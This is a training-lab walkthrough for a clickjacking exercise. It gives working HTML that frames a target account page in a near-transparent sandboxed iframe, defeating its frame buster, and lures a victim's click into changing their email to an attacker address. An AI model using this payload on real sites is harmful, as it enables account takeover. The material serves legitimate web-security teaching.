

Clickjacking with a frame buster script

Log in to the account on the target website.

Go to the exploit server and paste the following HTML template into the "Body" section:

```
`<style> iframe { position:relative; width:$width_value; height: $height_value; opacity:$opacity; z-index: 2; } div { position:absolute; top:$top_value; left:$side_value; z-index: 1; }</style> <div>Test me</div> <iframe sandbox="allow-forms" src="$url?email=hacker@attacker-website.com"></iframe>`
```

Make the following adjustments to the template:

- Replace `\$url` in the iframe `src` attribute with the URL of the target website's user account page, which contains the "Update email" form.
- Substitute suitable pixel values for the \$height_value and \$width_value variables of the iframe (we suggest 700px and 500px respectively).
- Substitute suitable pixel values for the \$top_value and \$side_value variables of the decoy web content so that the "Update email" button and the "Test me" decoy action align (we suggest 385px and 80px respectively).
- Set the opacity value \$opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.

Notice the use of the `sandbox="allow-forms"` attribute that neutralizes the frame buster script.

Click **Store** and then **View exploit**.

Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet.

Body:

```
<style>
  iframe {
    position:relative;
    width:500;
    height: 700;
    opacity: 0.1;
    z-index: 2;
  }
  div {
    position:absolute;
    top:450;
    left:80;
    z-index: 1;
  }
</style>
<div>Click Me</div>
<iframe sandbox="allow-forms"
src="https://0ab0006704c99101c0964e6d00f1003f.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
```

Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**.

Now click on **Deliver exploit to victim** and the lab should be solved.

Congratulations, you solved the lab!